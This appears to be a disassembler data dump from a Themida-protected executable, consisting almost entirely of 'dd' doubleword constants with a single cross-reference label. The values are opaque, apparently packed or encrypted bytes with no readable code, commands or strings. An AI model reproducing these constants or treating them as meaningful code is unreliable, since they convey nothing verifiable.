dd 0E7F2BB46h, 668836D6h, 62AFB315h, 0E1223215h, 0EF4D1609h
dd 0ED701629h, 74690F90h, 0B9A95213h, 2E8D5A74h, 62013215h
dd 664DDB31h, 4EE93215h, 49B2F041h, 0EBFDAEC8h, 7EE5D198h
dd 0B7DDCE13h, 661138FCh, 67E2515h, 0F9EC482Ah, 6353E8Ah
dd 6615B11Ah, 0DDEE3215h, 7BDC8FBh, 0EF796246h, 6DF869CFh
dd 40883215h, 9621E307h, 8B9E93C9h, 0E7ED2334h, 668836F9h
dd 4240BB15h, 0DC44524Ch, 36714FF4h, 7E9524Dh, 7C91974h
dd 6924203Dh, 66112B9Fh, 0EDEE5215h, 664ADAE5h, 64583215h
dd 0BBC2F031h, 74A2320Dh, 831C15F8h, 0DBA1534Eh, 60033D5Ch
dd 1B0C3D15h, 6443215h, 0D28D1Ah, 77030ADh, 61DDB79Eh
dd 0EF4B3407h, 66223214h, 2F9419ECh, 938E201Ah, 0E04BF32Eh
dd 6622324Dh, 90905475h, 86084C08h, 0E3CF53C9h, 60301330h
dd 2F9431E0h, 698E201Ah, 66443399h, 0E3ABC715h, 600325B0h
dd 668826FCh, 95410B15h, 0B8D7EC6Eh, 0A830D2DAh, 0C315E36Fh
dd 5DEF2388h, 674EDBDBh, 0EF1E3215h, 66883205h, 664439FCh
dd 0DA089015h, 257772B9h, 8EE875Bh, 6609007Dh, 422EBB15h
dd 629C3D75h, 883215h, 8E1C76AEh, 6622321Eh, 762F7CFFh
dd 0A9EF69E3h, 69F86566h, 6622329Bh, 31706A15h, 428CB344h
dd 5F971B74h, 7CDB34Ah, 0EF28E13Ch, 6F616DEDh, 9D443215h
dd 0DA654FAAh, 8D9C374Eh, 6767B182h, 6657DB82h, 0CAE73215h
dd 81C23E0Eh, 9B42A9F1h, 28372A63h, 244ADAF0h, 0ABA863B4h
dd 91E16D0Eh, 8FC573C4h, 182092FCh, 8790E3E2h, 13087251h
dd 0E74CD3D4h, 6629CDD4h, 3FD93B15h, 6689BD1Ah, 34B13215h
dd 662233AFh, 3CC13315h, 0D987C775h, 0E3CD53EBh, 60303540h
dd 661139FCh, 172B1E15h, 571DD57Bh, 0A74E56E9h, 4BE4B714h
dd 6D613407h, 33443215h, 4C2BDDFCh, 0DC471144h, 0E34F50F5h
dd 60563D5Ch, 66223215h, 6610BB1Ah, 0C7D3215h, 662CC755h
dd 9E223205h, 6655BD7Dh, 4284BB15h, 81A3B375h, 33044Fh
dd 7F2EAABh, 9974327Fh, 7444AB80h, 6AA43D13h, 69113215h
dd 6688349Bh, 66C53D15h, 99223215h, 743EDB80h, 6682DB13h
dd 53483215h, 477E888Fh, 3E9B7F67h, 47ADB79Ch, 0EFBC3407h
dd 74359790h, 52EECB13h, 0A2096B31h, 66443211h, 662EBA1Ah
dd 0EC1E3215h, 66883213h, 6644B21Ah, 0D3DD3215h, 600325B0h
dd 8F4A8175h, 6644321Ch, 7C7F3E58h, 0E04B6336h, 0E5875305h
dd 6644320Eh, 6637B81Ah, 76F83215h, 5D883215h, 0F8E007CBh
dd 0E0924h, 6A2C1722h, 99295538h, 746C53A0h, 67AA3D13h
dd 9F113215h, 6368BB45h, 66443211h, 0E126DA96h, 0EF4D1611h
dd 75611629h, 0CC443215h, 1AB0B8EAh, 5DFE59F9h, 0D312CCE7h
dd 0F3B8E29Fh, 0D3DD1EBAh, 60031F28h, 668839FCh, 0E2C2E415h
dd 95B5F3B8h, 5ECCB98h, 0DD46B798h, 9ABC340Dh, 0E02DE2EAh
dd 66113212h, 0D76375h, 8F25E89Eh, 66223205h, 36C810C9h
dd 759466B7h, 0A7D4641Ch, 0DE233C09h, 6958BF14h, 0EA873407h
dd 6644321Dh, 419B5475h, 7705227h, 712D8F9Eh, 6DAD3407h
dd 24223215h, 628ADCCAh, 6F6855E3h, 0E44B41C0h, 66223214h
dd 7A4B9EDh, 8F8E203Dh, 6644321Bh, 5BDF0905h, 0EFBE8A81h
dd 0B88C7131h, 0C2B7269Dh, 0A6A35475h, 0ED703117h, 74BB7BA0h
dd 6642DB13h, 30AB3215h, 7CA62C05h, 6687DBB8h, 23D43215h
dd 4357D429h, 75F429E6h, 0D9EF7935h, 0DB11621Ch, 66223215h
dd 0EF4CDA9Ch, 6D0CE53h, 664434FCh, 1AF7B15h, 0E6BCCA54h
dd 0A7E931E7h, 6B837D5h, 6628DBEDh, 0E8393215h, 900E9A3Eh
dd 8BA9E214h, 0C09F6774h, 91252679h, 283062C0h, 677D341Bh
dd 0A3A36AD0h, 543467C3h, 0DA0CC794h, 8E4559E4h, 7FA73D48h
dd 8F113215h, 66883201h, 0F16DA592h, 4417169Eh, 0F93D906Dh
dd 951CFC26h, 9DBB534Dh, 662FDB75h, 80CA3215h, 9DC2CD7Fh
dd 0E0D7C750h, 8EA48B6Ah, 66113219h, 0F007C1CCh, 3FC26760h
dd 0A5C6FD97h, 748E19Eh, 42E9B716h, 69B83407h, 66222194h
dd 1CA65215h, 668838FCh, 2D9C3615h, 0CAFE3FAAh, 7D26775h
dd 712DBF9Eh, 243407h, 7147C494h, 7CBB973h, 66888847h
dd 0A4453215h, 72A9389Ch, 62D5B131h, 8E50B975h, 6644321Dh
dd 24E1C95Dh, 0C43106AFh, 7D6FD9Fh, 0DC16CEB8h, 99DDCDE9h
dd 2E3D894h, 94896001h, 2B6F094h, 64E56001h, 66113215h
dd 0D301CE4Fh, 6056015Ch, 662238FCh, 57B3F515h, 54F02002h
dd 0E5B761C2h, 0E32DCDEDh, 66113297h, 6C38375h, 664BDBEDh
dd 1593215h, 977ADCBAh, 6BD08D25h, 9266ABDAh, 0E7435387h
dd 0BBCCEF2Bh, 3D0D3DC8h, 8F443215h, 66223213h, 6379239Dh
dd 0DED823A9h, 9C3E76h, 1B258946h, 0BE102858h, 8649724Eh
dd 0D3C41F12h, 60ABA0D1h, 0E41EC74Dh, 66883214h, 62FB65E0h
dd 67223215h, 422DB9EBh, 9A8CF696h, 550D879Ch, 0E82D3407h
dd 66113214h, 0B502DBE9h, 0EC4BCDEAh, 66223213h, 0ED705275h
dd 0A64953D3h, 664EDB16h, 189F3215h, 18D5C268h, 0D7C4BAB3h
dd 4225B716h, 68CB3407h, 0A2113215h, 0DEDD0D54h, 0B80D6213h
dd 0AC9ABBEEh, 7FACB169h, 678E203Dh, 65D2B61Ah, 0E7DE3215h
dd 0CCBB982Bh, 0EC0D3DBFh, 69443215h, 66222798h, 6601DB15h
dd 56D3215h, 50C2DA36h, 775E1F5Eh, 0A1F13741h, 36DB5B82h
dd 172965ADh, 0B71070Ah, 0A5982D64h, 3D56334Dh, 664435FCh
dd 0B4D03515h, 1CE802CEh, 39AF8B44h, 87855BC9h, 6E3B317h
dd 6749BC96h, 6689F5E4h, 3F443215h, 662235FCh, 46F86E15h
dd 0FF48F154h, 0A175CA24h, 9ED7CA24h, 6EA06346h, 0E6D1FD9Dh
dd 0A1C47DD2h, 3DDABA87h, 661138FCh, 0E8661A15h, 685AFBC4h
dd 8F900A46h, 6611322Ah, 577003E9h, 8FBC03D2h, 66223212h
dd 364F8899h, 37926724h, 0B3B2D5A0h, 0E621DFD5h, 0A3EFD3D8h
dd 0D64DC795h, 3FAC32D2h, 662CDB75h, 0A64A3215h, 521F9ED4h
dd 2025F39Ah, 5D8F7413h, 0E70A6A3h, 66885844h, 8F60369Ch
dd 66223204h, 4277E98Dh
dd 0A6F4F4B3h, 0F14F65CDh, 50584798h, 0CBACB102h, 678E2001h
dd 67E8B61Ah, 8E423215h, 6611321Fh, 0E740C224h, 9CC266E9h
dd 0E744731Dh, 38D339FFh, 1D9805ACh, 0DC16536Fh, 5FED197Bh
dd 45558847h, 0AC095BE9h, 2B3729DEh, 7743D894h, 0B6980625h
dd 3C58034Fh, 9DA2B375h, 8E5B8697h, 66113204h, 0C39A605Ch
dd 0B3E4009h, 0B26C921Bh, 737496FFh, 0A00954D8h, 71A4A1Dh
dd 0F75E8F96h, 6911340Ch, 66881D91h, 0B7C55215h, 19F90151h
dd 0CC8CBF74h, 8F8E2ADAh, 6644321Dh, 0D7F827F5h, 572046FDh
dd 69E8E1EAh, 66443796h, 0B5A35415h, 0B6AAE055h, 7C22AEDh
dd 69D40D95h, 66226F91h, 6D9F3D15h, 8F883215h, 66443213h
dd 564622C9h, 0D171149Dh, 0D8DE532Ah, 66443210h, 52A9C514h
dd 62D5B131h, 68053DE9h, 6443215h, 6624DBECh, 7D903215h
dd 1977F796h, 67F2DB74h, 93423215h, 669E3D75h, 8E883215h
dd 6644321Ah, 0F558B20Ah, 0A4274D88h, 613737A8h, 3DD0C01Ch
dd 9EA15374h, 0C5933D45h, 6883215h, 8E8B851Ah, 66223206h
dd 3B3A4BF7h, 0BC960FFAh, 0C43B9BF9h, 5E4096ECh, 0BB759Eh
dd 3EDF36ADh, 0BF36174h, 5C906073h, 3C77E525h, 0EE4FDD95h
dd 0E72469EDh, 623715DDh, 0F58C892Dh, 0CCE92079h, 62C33D75h
dd 223215h, 8F1A05AEh, 6688321Dh, 3CE98D3Eh, 4114F8FFh
dd 661EDB74h, 83183215h, 6D0E1D2Fh, 0CD630ACDh, 2DE7B25Eh
dd 428CB978h, 0E7A5BB44h, 662236D4h, 62D0B115h, 3AAC3E92h
dd 6FAD98EDh, 223215h, 472A664Ah, 0B6D73002h, 66449FFCh
dd 61A83D15h, 69113215h, 6688339Eh, 52BBC715h, 0A2A16A31h
dd 679E3D11h, 93883215h, 664FDBBFh, 3A163215h, 0C34AAE0Eh
dd 233E49DEh, 993BB2D7h, 11A73DFCh, 69113215h, 66882490h
dd 7245215h, 66223FFCh, 6DEA6215h, 0AF2E43DEh, 6F4B880h
dd 0E543283Ch, 7F804EA8h, 0E2873213h, 66443237h, 0D0BFBFEDh
dd 69172ADBh, 66883A9Fh, 64C43D15h, 6223215h, 6C2CD74h
dd 0F1DEC394h, 91CF0CB5h, 0DF73CE74h, 66113211h, 0EEDBCB14h
dd 3D7DBAD2h, 67A33D4Ch, 9A113215h, 6683DB75h, 57953215h
dd 27170FF1h, 0BAD132Bh, 3D325465h, 0E3CF533Ah, 603025B0h
dd 364C1FECh, 9EA111BCh, 63CB8847h, 2C603B86h, 686DF894h
dd 8C092B6Dh, 90158DB7h, 6978E214h, 66113394h, 0DBDDCE15h
dd 66443211h, 4AA9DA3Ch, 62D5B131h, 6F6199E0h, 7443215h
dd 8B960E06h, 426DB89Ch, 72073DB8h, 6443215h, 662235FCh
dd 29C02E15h, 874A809Ah, 6644BF1Ah, 0E433215h, 661155F7h
dd 0EAC0E9Ch, 6E8F3A51h, 2ACDB34Ah, 0E754DB43h, 8739CAFAh
dd 9A3ABBD7h, 35CBC74Ah, 6EECDEEh, 691CFF95h, 66443197h
dd 1FF1B215h, 67963D74h, 9A883215h, 550D879Ch, 0ED73407h
dd 66113F03h, 69AC269Ch, 66442499h, 6633DB15h, 0ADA23215h
dd 0E035AF4Ch, 4DF1F7E4h, 1F12697Ch, 694E175Ch, 66882696h
dd 664BDB15h, 0BF33215h, 23593F66h, 42960D31h, 0A520838Bh
dd 0E6225A20h, 61F83215h, 0C8883215h, 7664E0FCh, 6648126Dh
dd 661FBD1Ah, 0E7E83215h, 3B6747F4h, 66AC3D46h, 7113215h
dd 7C8987EAh, 0E14B3407h, 6622321Dh, 6613BA1Ah, 7E83215h
dd 5545A7EAh, 0E02D3407h, 66113214h, 429CB9ECh, 0E7A1BB40h
dd 662236D0h, 62D4B315h, 0E1883215h, 69181639h, 66222E96h
dd 76F85215h, 33883215h, 63D8BF89h, 0F5994D6Dh, 854BAED9h
dd 0DC1E18C9h, 228B905Fh, 0ABAFB974h, 6917200Fh, 66883E92h
dd 60C13D15h, 69223215h, 66113296h, 6680DB15h, 0C2503215h
dd 0B344980Ah, 0D8475FAFh, 44264DC8h, 0A8C5ECE2h, 3F817F1Eh
dd 453D8D42h, 910971C3h, 66F962EAh, 3543C594h, 98100C37h
dd 0E75EC54Ah, 0A55610FBh, 3813BBB1h, 6610B61Ah, 6703215h
dd 6642BC1Ah, 0AEA33215h, 432F900Dh, 0E7E9D09Fh, 664436F9h
dd 4226BB15h, 661136ADh, 3E493315h, 664437FCh, 0B3B51115h
dd 0EB98C8E4h, 609A28D8h, 0A13DDBECh, 72CBCDEAh, 0F5113215h
dd 241C7DC5h, 0AB7C3600h, 11D9BE6Ch, 0AF8EB01Ch, 8F9A3E39h
dd 66441E52h, 0EC2D52EDh, 66113204h, 66883EFCh, 596AD315h
dd 0BD904C2Dh, 898AD5C5h, 0AB05B93Eh, 9342200Fh, 662226FCh
dd 2D152C15h, 0E558053Eh, 0F2F7257Dh, 1AB4C613h, 1211B0A5h
dd 0E7B9CD7Ch, 52331611h, 307B45F1h, 822545ABh, 38791B62h
dd 1EC9BBECh, 8F242B84h, 6611321Ah, 0ED5A3005h, 9EA2BB04h
dd 7073758Dh, 693998D4h, 66883E94h, 60C53D15h, 69223215h
dd 66113298h, 28B0B315h, 69087641h, 6622F890h, 0E777CA15h
dd 48C4366Dh, 66F9B71Ah, 0EF2D3215h, 6611321Bh, 66883BFCh
dd 7A3EA915h, 3CB37A4Ch, 0EF40BB53h, 0ED46BBD4h, 0A2C51619h
dd 66223211h, 6604B21Ah, 76613215h, 0CB443215h, 0EB1CC72Bh
dd 0E3A12703h, 0F0E01E70h, 8F87965Dh, 6622321Ah, 1497BD7h
dd 0A176DB77h, 0E6E5CA80h, 33986F79h, 661134A8h, 0ED663315h
dd 0A2C51639h, 66223211h, 661137FCh, 0D806F715h, 0E3CFF2B2h
dd 60300294h, 661123FCh, 0FD907C15h, 539C4C8Bh, 0FAD2976Bh
dd 74C6D90Bh, 0E8E92Dh, 8EA10FAEh, 66223219h, 0E4BE797Dh
dd 6348CC0h, 0C1CAFE50h, 662235FCh, 4185A015h, 0B7FD788Ch
dd 9CAD534Bh, 8F223211h, 66113212h, 0C35CFDE7h, 0E75A17Bh
dd 66226E50h, 3835369Ch, 60DC5AE0h, 62CD3215h, 9EDB6831h
dd 3671FB24h, 6688BC1Ah, 71D3215h, 0DF4452B9h, 72F8DC22h
dd 36883215h, 0B223687Dh, 0ECAEE048h, 0FE5F2E14h, 0C5776BD8h
dd 7B05B0Fh, 0E22D3229h, 66113391h, 668823FCh, 117E6F15h
dd 7CFF473Bh, 6CFC35B6h, 0B7DBCFBCh, 4B78A5C1h, 9998B61Ah
dd 0E31ECDEAh, 66883212h, 6645BA1Ah, 5ADA3215h, 0B3953D3Bh
dd 9F883215h, 0E44B0229h, 6622372Ah, 0DDD3B975h, 787135CCh
dd 697D0E74h, 99DDB993h, 0ED1ECBEAh, 66883202h, 8F83B975h
dd 6622321Bh, 0DA9DBEE9h, 0E6B29E3Bh, 593F40DAh, 5A4304BAh
dd 6E933D54h, 8F883210h, 6644321Ah, 979D6DE2h, 4EE2029h
dd 0AD43E7C4h, 8F933DA4h, 6622321Bh, 0DFDCCAF4h, 0C1E0C131h
dd 0E04019CFh, 3C1E8A3Fh, 9927B41Ah, 5A70CDEAh, 4BC03D4Ah
dd 8FDDCDEAh, 6611321Bh, 793EB7F6h, 0E5C89399h, 7D84D1D1h
dd 72D5B7Bh, 623DB01Ah, 5ABC3215h, 6FA43D6Fh, 69EECDEAh
dd 6688339Eh, 0EC4BCA15h, 6622321Dh, 6613B11Ah, 7E83215h
dd 6640A0FCh, 77CB5215h, 1113215h, 0B4EE9333h, 0E9398532h
dd 0BED12665h, 78D4B205h, 6689BB1Ah, 7BC3215h, 99DD8B44h
dd 0AC38CDEAh, 94B1C74Ch, 6225B61Ah, 74CB3215h, 0B9113215h
dd 794A0A16h, 0D3026C2Dh, 9AA2A3FBh, 5AA0F4B0h, 0EA875247h
dd 6644321Ah, 662238FCh, 648F6515h, 4D4028F5h, 0DF632187h
dd 7D1F3FE1h, 67AC6774h, 4F883215h, 6EAD6FFFh, 0E1223215h
dd 504BD3BEh, 352E70A2h, 99BBCDAEh, 3DFB1BEAh, 4AF5475h
dd 0E2325470h, 3BAD53B3h, 6DDCDEBh, 29C795h, 79CCAAEh
dd 0E24BFB90h, 662231FAh, 6635BB1Ah, 8FE83215h, 6644321Fh
dd 44046402h, 84C1421Eh, 6B60CFEEh, 83443215h, 0A127A37h
dd 7E4A23F8h, 0E5523D0Bh, 0D3C9534Ch, 603020E4h, 661120FCh
dd 52D13215h, 1BABB8Ch, 1EEF036Dh, 0A9D6E62h, 0E54611DCh
dd 72CD36F9h, 75CB6B31h, 55113215h, 39A0FE6Ah, 8BC9ADB3h
dd 0A37346DDh, 3D97D5C0h
dd 0E7DAEF82h, 445C1621h, 5AA91146h, 62D5B331h, 0E7883215h
dd 35662AE2h, 63CA5236h, 47113215h, 0B4FEA57Bh, 8E438A73h
dd 2CD28D4Dh, 37700E9Ch, 0D7928546h, 3DBD1A18h, 0AE12EFA5h
dd 67973D4Ch, 93883215h, 6B947BBh, 6620B51Ah, 3D463215h
dd 668821FCh, 0EED35215h, 83159492h, 0F4E9A2E2h, 0C6A5D5A7h
dd 193A9D22h, 97A95274h, 5FE1B373h, 68615319h, 84443215h
dd 9319FA1Fh, 8F45B73Ch, 20BA335Dh, 0AF85B304h, 0E7280433h
dd 1E16B1D4h, 0E7711B14h, 1E43B1FCh, 0AFCBB314h, 9A1B0433h
dd 6688327Dh, 42481B15h, 0E7063E9Eh, 661136D1h, 8909CE15h
dd 18C13B0Dh, 47EDD94h, 0A938651Eh, 4D4F594h, 0A1C5651Eh
dd 18A73B0Dh, 0D91E6075h, 0EDEE6ADFh, 8AC753D2h, 421EBB11h
dd 9A4F6D43h, 6B6196E6h, 13443215h, 0EF06AD12h, 4ADEE886h
dd 0FFCC198Fh, 0A6B08546h, 0A1A23AFAh, 27D6B2AFh, 3473C595h
dd 99BBCDAFh, 0EED833EAh, 934A682Fh, 7479A798h, 61AD3407h
dd 0F2223215h, 64331542h, 0E303A729h, 60561128h, 69E2B7E9h
dd 66110C90h, 6D0B3D15h, 6443215h, 69F38D1Ah, 66113297h
dd 0E34E5315h, 605627D4h, 0B44ACB52h, 9AC5A8B2h, 578987EAh
dd 6BD3407h, 1CA7BF74h, 69172797h, 66883594h, 67C33D15h
dd 9E223215h, 0EE4E2EAh, 66887CE5h, 6960269Ch, 6622259Dh
dd 6603DB15h, 0CDAD3215h, 32728B5Ah, 0B40872D5h, 0D01BB36h
dd 5AEB8236h, 6924E2EAh, 8BA2CAA2h, 0A694534Ah, 6787B71Ah
dd 0EE4B3215h, 66223219h, 661135FCh, 0D9044F15h, 3397A811h
dd 4EBFB79Eh, 713407h, 8EB858AAh, 66443219h, 16CCA0E9h
dd 6DA149A8h, 98D26B7Bh, 24534Bh, 0E693C99Eh, 69D1B774h
dd 66884890h, 6AC93D15h, 69223215h, 6611349Fh, 660E3D15h
dd 0A0443215h, 7437F390h, 0E61E7E13h, 66883214h, 6CAD52E9h
dd 96223215h, 5313F739h, 3DD78125h, 795B98Bh, 0BC3EDB7Dh
dd 661CDBCCh, 4A093215h, 17D68311h, 35A49D5Ah, 99CE68E5h
dd 74B933A0h, 7CC63D13h, 69223215h, 66112698h, 6687DB15h
dd 0D71E3215h, 0BB98977Dh, 0A440E92Ch, 0B03ED8EBh, 1CC1BF93h
dd 93242797h, 33E4E2EAh, 0A309D79Ch, 66443211h, 6626DF94h
dd 4A963215h, 72016E31h, 34245231h, 7F3B94Ah, 8FC1CD74h
dd 66883219h, 4BF0CE74h, 6E5F346Ah, 137BC62Fh, 0A4035475h
dd 20ADB373h, 0A6A75309h, 6602B71Ah, 8F7D3215h, 664432F6h
dd 6625B31Ah, 0ED1E3215h, 66883214h, 1EC1BBEDh, 6242B84h
dd 1BCAB373h, 0A0373D31h, 62A8B174h, 9306369Ch, 661C0B7Dh
dd 42BCBB15h, 0FDFD5475h, 71E8759h, 0FF69B798h, 0E0873400h
dd 6644321Ch, 7A6375h, 0CF0BEA94h, 0B677CA74h, 85C55275h
dd 4ACFB3CDh, 2A77A1ABh, 0D1875375h, 0E94B53D6h, 6622320Eh
dd 6604B81Ah, 76613215h, 9A443215h, 7FD41CB3h, 76C73AACh
dd 0E9B2778Bh, 6D1D08E2h, 55A73DD5h, 8F113215h, 66883218h
dd 2288E99Bh, 9FD8A3FDh, 0E2504999h, 0E7EE5273h, 79EC2C4h
dd 66220CFCh, 6601DB15h, 951A3215h, 0D550820Bh, 0A281A376h
dd 0C7F83D16h, 22012252h, 68AD2E31h, 39223215h, 683AC674h
dd 2133CC3h, 281EBB08h, 662FDB3Bh, 0BC783215h, 915E2BC8h
dd 26B81FDEh, 7C80283h, 66113FFCh, 0F7C59115h, 0E1C653F0h
dd 66FAB115h, 6D2EAFFh, 6688BA1Ah, 0B9CF3215h, 77CB5274h
dd 7C113215h, 847435E9h, 0D3BBE97Ah, 0D24BE8C8h, 0CA8BFDADh
dd 0F7F0BF9Eh, 6CAD340Ch, 6F223215h, 394AFC65h, 0BCC63C26h
dd 1CB75AE9h, 62AB3215h, 6605DB31h, 0B9713215h, 0B20397CAh
dd 0A165EC68h, 92452881h, 0A247D089h, 63AD256Ah, 0BF223215h
dd 148BCFD3h, 3543BB46h, 0C9603694h, 3E7C8A34h, 0DE309D38h
dd 0E287694Bh, 66443219h, 6624B81Ah, 0EF1E3215h, 66883215h
dd 66785A46h, 67793215h, 3D1231D6h, 66883DFCh, 1FB4BA15h
dd 3B3EAC9Ch, 506C0EBFh, 1A96B5E5h, 664438FCh, 361CBC15h
dd 57E229C4h, 0E5BCF663h, 7ACD36F9h, 66AA8931h, 0A5103215h
dd 69D3219Eh, 66442B96h, 6636DB15h, 0AAD33215h, 13878DA8h
dd 0C1F7AA11h, 8639E26Ah, 787DD9A8h, 0F301FBEEh, 60562460h
dd 6623BA1Ah, 35E43215h, 0F8A837AEh, 9AA7B317h, 363EC24Fh
dd 1611C6ADh, 3E4B33EAh, 61FEA14h, 662238FCh, 3D4D4615h
dd 0BC1F9070h, 7A21EAEh, 0ED2E42EAh, 0A2901601h, 66883211h
dd 0DFD1BBE0h, 6242036h, 66113EFCh, 0DCE22115h, 9E4E4099h
dd 8C7FEEB9h, 52EE5386h, 0A2096A31h, 66443211h, 4256CDE9h
dd 4215B931h, 9E8CF696h, 6B198D42h, 9E231EA6h, 4BD91B4Ah
dd 4A3B3F48h, 664437FCh, 0EDAE415h, 0E32AD527h, 609A11ACh
dd 6663B01Ah, 6FCB3215h, 0E7113215h, 5A8E3E95h, 0FE8F562Ch
dd 7057B72Eh, 0E51E3407h, 66883218h, 0A4BC53E0h, 0ED2D3211h
dd 66113214h, 0DFE853E9h, 28E571EFh, 0A1DB53E9h, 4CBE1611h
dd 4A092091h, 0FD144231h, 4236C57Fh, 29DA8847h, 32A903F8h
dd 0A71E3631h, 99251639h, 4A901611h, 46823E31h, 67C13D15h
dd 93223215h, 623576D2h, 20BF13AEh, 62606EE2h, 58588A45h
dd 221065F7h, 91D03A31h, 0E7401649h, 27261661h, 6FF66F6h
dd 7460EB9Eh, 40443215h, 406FE4EAh, 649E2D7Ah, 8840D532h
dd 0D3A8B47Bh, 69436DD9h, 66113D9Ch, 6682DB15h, 0FE663215h
dd 6E71ECA4h, 1E6C0435h, 7BE06243h, 3E28C034h, 83008738h
dd 49C51F35h, 0F7BD584Bh, 0EFA59CDBh, 96AB6AD3h, 6601DB4Bh
dd 1A1B3215h, 3B3C318Ah, 2A72D13Bh, 9BE2350Ch, 0EB058FB0h
dd 60567C5Eh, 73935275h, 477C8973h, 99E9CE74h, 6656DBF4h
dd 0F52D3215h, 497F7BD5h, 0A9E764ABh, 0B66F24FEh, 9AF39902h
dd 6618DB75h, 7073215h, 0B8203491h, 69B889FDh, 6611339Eh
dd 0DDDBCE15h, 66443215h, 4F61D994h, 95105547h, 4FCBF194h
dd 65CE5547h, 6636DB4Eh, 72893215h, 5779288Eh, 0A5581611h
dd 500BD638h, 586C46D1h, 8FB42850h, 67F8B61Ah, 6ECB3215h
dd 28113215h, 8C7D3010h, 69CD456Eh, 66223E9Fh, 609C3D15h
dd 69883215h, 66443298h, 69CA0E15h, 6610FC91h, 0E8CE15h
dd 0EC4BF89Eh, 66223215h, 691E0E74h, 6688BB91h, 6650DB15h
dd 0D4313215h, 80D130Bh, 7B9B42F1h, 51FF913Bh, 1E874475h
dd 0AB2D5D8Ah, 6773B61Ah, 69243215h, 66222395h, 661DDB15h
dd 0AACE3215h, 0CF08B2D4h, 8467A48Ah, 0D11E6CCBh, 8DB453E6h
dd 647CB61Ah, 0EE2D3215h, 66113200h, 8FD76475h, 66443219h
dd 0A413B53Ch, 0A2FDB58Bh, 0DC5614AFh, 0A5BC5374h, 7426275h
dd 670CA4Fh, 669BB51Ah, 6BAC3215h, 8A223215h, 4FC39AA2h
dd 2A1C93D1h, 5450D308h, 659A544Dh, 0DE415343h, 66883214h
dd 0DC16C214h, 66223215h, 7C9BF014h, 6C616A4Fh, 0A0443215h
dd 5E5937E4h, 0C676041Fh, 413D6374h, 3522E7E3h, 9B2AF7A2h
dd 93916973h, 3F631238h, 6654DBE0h, 194A3215h, 0ED593Eh
dd 87ECAD52h, 274E4788h, 9DA23910h, 0E4943D95h, 677CDEAh
dd 8EBB851Ah, 66223219h, 6FB56CF3h, 22A069D4h, 45161251h
dd 0E22D534Bh, 66113206h, 6685BF1Ah, 6EAD3215h, 8D223215h
dd 11A011AFh, 3067947Ah, 70603694h, 3D1D5357h, 2D368D42h
dd 910900F8h, 664B5844h, 5565D594h, 0A1907A40h, 5FF606Dh
dd 2562D594h, 89E31F1Bh, 82D6B311h, 4FB562C8h, 0E24B6DEEh
dd 66223212h, 6610BA1Ah
dd 0E743215h, 66442499h, 0D806069Ch, 66113213h, 9AD6C114h
dd 6625A87Dh, 4236BB15h, 661130AFh, 657A3315h, 8FBD680Fh
dd 66223283h, 31CFB375h, 0D5968E92h, 10BB531Bh, 423EB914h
dd 8F15F696h, 66883206h, 6F3060Ah, 23B59E3h, 57B9DEBEh
dd 0D8DC4608h, 0E51D8338h, 0E22DC9EEh, 661132EEh, 668838FCh
dd 8D4A5415h, 63C47EF2h, 0E75A46BFh, 668836F9h, 4270BB15h
dd 0DE72C74Eh, 66113214h, 0DFD9C214h, 66443215h, 7F21F314h
dd 34E46A4Ch, 668837AFh, 4487B315h, 6734DB62h, 44FAB3C6h
dd 3C9EDB62h, 665CB61Ah, 0D5423215h, 661EDB8Eh, 0FD693215h
dd 4F2DCB04h, 6576194h, 8E066591h, 286153BFh, 69BBCDEBh
dd 6622369Dh, 7715215h, 383E3D74h, 6656DB14h, 723215h
dd 4B9EE246h, 0E88F9CADh, 0B36B79FDh, 680E912Ch, 693FD996h
dd 99761291h, 8FB152EAh, 66223201h, 89F4ED0Ah, 21CC4BC0h
dd 1F6AA148h, 0A4989A7Ah, 9AFA5F0Ch, 66CDDB74h, 0E54B3215h
dd 66223203h, 6601B11Ah, 6D613215h, 5443215h, 9D6F8F2Fh
dd 954A1043h, 18083AE4h, 0E34BCC14h, 99DDCFCCh, 0A7905475h
dd 774008Ch, 6655B41Ah, 6ACB3215h, 85113215h, 0A5802EEEh
dd 4C1F29ECh, 8FA0EEAEh, 99EEC9F4h, 46B875h, 7C092AAh
dword_5FB688 dd 66008E7Dh, 4225BB15h, 26315475h, 94B58C3Ch, 0E4357CCh
; DATA XREF: Themida_:005838F9o
dd 66116D9Dh, 9EAC3E9Ch, 664BA67Dh, 423EBB15h, 0B19A5475h
dd 3C4DB844h, 85CD6174h, 6626F194h, 8D903215h, 66883211h
dd 3A602E92h, 69060E9Ch, 66113999h, 0EDEE5215h, 66C73DECh
dd 7223215h, 7D2B975h, 6B61F224h, 27443215h, 48CF710Eh
dd 5DE168E6h, 0DF3E6588h, 664EDBB9h, 0C3203215h, 36447599h
dd 99F61DBBh, 3681BA44h, 0A5AADA9Dh, 8F716B4Dh, 6688321Dh
dd 4153DE3Dh, 9E961B77h, 66113DFCh, 56CEC115h, 0C1B888AFh
dd 5DDCC7EBh, 0D8920C06h, 6264B174h, 0D060269Ch, 3CD112E5h
dd 0A6A63D75h, 7CCFD95h, 6934C995h, 66240E91h, 60F95215h
dd 0BE883215h, 199A171Bh, 0B0A95494h, 7DB834Ah, 0E2873D29h
dd 664432D9h, 662CDB75h, 4AED3215h, 3B2118A4h, 0E5DD6C40h
dd 0B457E756h, 5A705FA3h, 0E30C3DFCh, 9F44321Eh, 0E22DD929h
dd 66113DEAh, 668820FCh, 4A857215h, 44B07A51h, 0C464176Ah
dd 0ABA37BD2h, 5A14384Fh, 0DEA63DF6h, 8F113216h, 6688321Dh
dd 2D09BFEAh, 50ED3607h, 661121FCh, 0E46CD15h, 6CEB11ADh
dd 91D61F86h, 93C0301Ch, 6BF6FF92h, 0E24BD029h, 66222370h
dd 4225CDE0h, 624CB34Ah, 9E443215h, 3D0606EAh, 6615F694h
dd 0E83215h, 8FD2C9ACh, 6622321Dh, 0BDB0870Eh, 13584B2Ch
dd 4248B974h, 0E7C4BB43h, 661136D3h, 624EB115h, 3A600692h
dd 662238FCh, 0C9486F15h, 0DEC4F3F5h, 999636A2h, 0E77C1621h
dd 661136D1h, 9E4BCA15h, 0F40CB7D2h, 6624340Ch, 36E93215h
dd 3DD98C43h, 0C9FC7D43h, 67929BB1h, 96106CE5h, 6D02A9Fh
dd 664434FDh, 0BC030615h, 0EDC69030h, 61616CDBh, 87443215h
dd 2127E746h, 6702461h, 0DE7AB973h, 73AC2D75h, 62CEB374h
dd 0EF113215h, 503C1611h, 0E642F695h, 85027EF9h, 6C933D4Dh
dd 8F883215h, 66443210h, 0E1652C35h, 0E6EAB21Ah, 99BFB71Ah
dd 24CDEAh, 6CCBE29Eh, 4F113215h, 2E616690h, 77020014h
